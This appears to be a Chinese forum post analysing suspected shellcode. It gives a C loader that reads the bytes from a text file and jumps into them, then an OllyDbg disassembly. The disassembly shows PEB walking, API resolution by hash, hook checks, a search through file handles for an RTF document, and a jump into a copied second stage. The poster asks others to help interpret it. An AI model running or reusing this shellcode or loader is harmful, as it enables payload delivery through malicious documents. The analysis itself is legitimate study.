提取转换代码如下:
#include <stdio.h>
char arrShellCode[65535];
int main(void)
{
FILE *fp;
int temp;
unsigned int i = 0;
if((fp = fopen("疑似ShellCode.txt", "r")) == NULL)
{
fprintf(stderr, "OpenFile Error\n");
return -1;
}
while(!feof(fp))
{
fscanf(fp, "%d", &temp);
arrShellCode[i] = (char)temp;
arrShellCode[i+1] = (char)(temp >> 8);
i += 2;
}
_asm{
lea eax, arrShellCode
jmp eax
}
fclose(fp);
return 0;
}
OllyDBG调试运行,转换结果如下:
01307140 > 41 inc ecx
01307141 41 inc ecx
01307142 41 inc ecx
01307143 41 inc ecx
01307144 41 inc ecx
01307145 41 inc ecx
01307146 AE scas byte ptr es:[edi]
01307147 E6 5D out 5D, al
01307149 27 daa
0130714A 41 inc ecx
0130714B 41 inc ecx
0130714C 41 inc ecx
0130714D 41 inc ecx
0130714E 41 inc ecx
0130714F 41 inc ecx
01307150 41 inc ecx
01307151 41 inc ecx
01307152 2C 4A sub al, 4A
01307154 59 pop ecx
01307155 27 daa
01307156 42 inc edx
01307157 B0 58 mov al, 58
01307159 27 daa
0130715A EA BD6127C8 115>jmp far 5811:C82761BD
01307161 27 daa
01307162 66:EA 6027 8100 jmp far 0081:2760
01307168 5E pop esi
01307169 27 daa
0130716A 0000 add byte ptr [eax], al
0130716C 0040 00 add byte ptr [eax], al
0130716F 0010 add byte ptr [eax], dl
01307171 0000 add byte ptr [eax], al
01307173 3000 xor byte ptr [eax], al
01307175 0040 00 add byte ptr [eax], al
01307178 0000 add byte ptr [eax], al
0130717A 0010 add byte ptr [eax], dl
0130717C 0000 add byte ptr [eax], al
0130717E FC cld
0130717F BC 5F274141 mov esp, 4141275F
01307184 41 inc ecx
01307185 41 inc ecx
01307186 61 popad
01307187 085E 27 or byte ptr [esi+27], bl
0130718A 41 inc ecx
0130718B 41 inc ecx
0130718C 41 inc ecx
0130718D 41 inc ecx
0130718E 41 inc ecx
0130718F 41 inc ecx
01307190 41 inc ecx
01307191 41 inc ecx
01307192 41 inc ecx
01307193 41 inc ecx
01307194 41 inc ecx
01307195 41 inc ecx
01307196 41 inc ecx
01307197 41 inc ecx
01307198 41 inc ecx
01307199 41 inc ecx
0130719A C1BA 5E272703 5>sar dword ptr [edx+327275E], 5E
013071A1 27 daa
013071A2 41 inc ecx
013071A3 41 inc ecx
013071A4 41 inc ecx
013071A5 41 inc ecx
013071A6 0000 add byte ptr [eax], al
013071A8 0040 04 add byte ptr [eax+4], al
013071AB EB 5C jmp short 01307209
013071AD 27 daa
013071AE 41 inc ecx
013071AF 41 inc ecx
013071B0 41 inc ecx
013071B1 41 inc ecx
013071B2 41 inc ecx
013071B3 41 inc ecx
013071B4 41 inc ecx
013071B5 41 inc ecx
013071B6 41 inc ecx
013071B7 41 inc ecx
013071B8 41 inc ecx
013071B9 41 inc ecx
013071BA 41 inc ecx
013071BB 41 inc ecx
013071BC 41 inc ecx
013071BD 41 inc ecx
013071BE 40 inc eax
013071BF 0000 add byte ptr [eax], al
013071C1 40 inc eax
013071C2 31C9 xor ecx, ecx
013071C4 64:8B71 30 mov esi, dword ptr fs:[ecx+30]
013071C8 8B76 0C mov esi, dword ptr [esi+C]
013071CB 8B76 0C mov esi, dword ptr [esi+C]
013071CE AD lods dword ptr [esi]
013071CF 8B30 mov esi, dword ptr [eax]
013071D1 8B76 18 mov esi, dword ptr [esi+18]
013071D4 E9 89000000 jmp 01307262
013071D9 57 push edi
013071DA 51 push ecx
013071DB 53 push ebx
013071DC 50 push eax
013071DD 55 push ebp
013071DE 89F3 mov ebx, esi
013071E0 56 push esi
013071E1 8B73 3C mov esi, dword ptr [ebx+3C]
013071E4 8B741E 78 mov esi, dword ptr [esi+ebx+78]
013071E8 01DE add esi, ebx
013071EA 56 push esi
013071EB 8B76 20 mov esi, dword ptr [esi+20]
013071EE 01DE add esi, ebx
013071F0 31C9 xor ecx, ecx
013071F2 49 dec ecx
013071F3 41 inc ecx
013071F4 AD lods dword ptr [esi]
013071F5 01D8 add eax, ebx
013071F7 56 push esi
013071F8 31F6 xor esi, esi
013071FA 0FBE10 movsx edx, byte ptr [eax]
013071FD 38D6 cmp dh, dl
013071FF 74 08 je short 01307209
01307201 C1CE 07 ror esi, 7
01307204 01D6 add esi, edx
01307206 40 inc eax
01307207 ^ EB F1 jmp short 013071FA
01307209 3975 00 cmp dword ptr [ebp], esi
0130720C 5E pop esi
0130720D ^ 75 E4 jnz short 013071F3
0130720F 5A pop edx
01307210 89DF mov edi, ebx
01307212 8B5A 24 mov ebx, dword ptr [edx+24]
01307215 01FB add ebx, edi
01307217 66:8B0C4B mov cx, word ptr [ebx+ecx*2]
0130721B 8B5A 1C mov ebx, dword ptr [edx+1C]
0130721E 01FB add ebx, edi
01307220 8B048B mov eax, dword ptr [ebx+ecx*4]
01307223 01F8 add eax, edi
01307225 8945 00 mov dword ptr [ebp], eax
01307228 5E pop esi
01307229 83C5 04 add ebp, 4
0130722C 817D 00 53544F5>cmp dword ptr [ebp], 504F5453
01307233 ^ 75 A9 jnz short 013071DE
01307235 5D pop ebp
01307236 58 pop eax
01307237 5B pop ebx
01307238 59 pop ecx
01307239 5F pop edi
0130723A C3 retn
0130723B 8038 E8 cmp byte ptr [eax], 0E8
0130723E 74 0F je short 0130724F
01307240 8038 E9 cmp byte ptr [eax], 0E9
01307243 74 0A je short 0130724F
01307245 8038 CC cmp byte ptr [eax], 0CC
01307248 74 05 je short 0130724F
0130724A 8038 EB cmp byte ptr [eax], 0EB
0130724D 75 11 jnz short 01307260
0130724F 8178 05 9090909>cmp dword ptr [eax+5], 90909090
01307256 74 08 je short 01307260
01307258 89FF mov edi, edi
0130725A 55 push ebp
0130725B 89E5 mov ebp, esp
0130725D 8D40 05 lea eax, dword ptr [eax+5]
01307260 FFE0 jmp eax
01307262 BF 00100040 mov edi, 40001000
01307267 C707 8E130AAC mov dword ptr [edi], AC0A138E
0130726D C747 04 C2194B0>mov dword ptr [edi+4], 14B19C2
01307274 C747 08 7DF0A59>mov dword ptr [edi+8], 9AA5F07D
0130727B C747 0C 53544F5>mov dword ptr [edi+C], 504F5453
01307282 8977 2C mov dword ptr [edi+2C], esi
01307285 89FD mov ebp, edi
01307287 E8 4DFFFFFF call 013071D9
0130728C 31F6 xor esi, esi
0130728E 83C6 04 add esi, 4
01307291 8D47 60 lea eax, dword ptr [edi+60]
01307294 50 push eax
01307295 56 push esi
01307296 8B07 mov eax, dword ptr [edi]
01307298 E8 9EFFFFFF call 0130723B
0130729D 83F8 FF cmp eax, -1
013072A0 ^ 74 EC je short 0130728E
013072A2 8947 30 mov dword ptr [edi+30], eax
013072A5 8977 20 mov dword ptr [edi+20], esi
013072A8 31C0 xor eax, eax
013072AA 50 push eax
013072AB 50 push eax
013072AC 50 push eax
013072AD 6A 02 push 2
013072AF 50 push eax
013072B0 FF77 20 push dword ptr [edi+20]
013072B3 8B47 04 mov eax, dword ptr [edi+4]
013072B6 E8 80FFFFFF call 0130723B
013072BB 83F8 00 cmp eax, 0
013072BE ^ 74 CE je short 0130728E
013072C0 8947 24 mov dword ptr [edi+24], eax
013072C3 31C0 xor eax, eax
013072C5 50 push eax
013072C6 50 push eax
013072C7 50 push eax
013072C8 6A 04 push 4
013072CA FF77 24 push dword ptr [edi+24]
013072CD 8B47 08 mov eax, dword ptr [edi+8]
013072D0 E8 66FFFFFF call 0130723B
013072D5 83F8 00 cmp eax, 0
013072D8 ^ 74 B4 je short 0130728E
013072DA 8947 28 mov dword ptr [edi+28], eax
013072DD 8138 7B5C7274 cmp dword ptr [eax], 74725C7B
013072E3 ^ 75 A9 jnz short 0130728E
013072E5 81B8 00F00000 7>cmp dword ptr [eax+F000], 31312170
013072EF ^ 75 9D jnz short 0130728E
013072F1 89C6 mov esi, eax
013072F3 89C5 mov ebp, eax
013072F5 81C6 04F00000 add esi, 0F004
013072FB 8B5F 2C mov ebx, dword ptr [edi+2C]
013072FE 8B57 28 mov edx, dword ptr [edi+28]
01307301 8B6F 20 mov ebp, dword ptr [edi+20]
01307304 FF77 30 push dword ptr [edi+30]
01307307 BF 00200040 mov edi, 40002000
0130730C 89F8 mov eax, edi
0130730E B9 00100000 mov ecx, 1000
01307313 F3:A4 rep movs byte ptr es:[edi], byte ptr>
01307315 FFE0 jmp eax
。。倒是没有未知指令,但是看不懂啊
,希望能与大大多多交流。。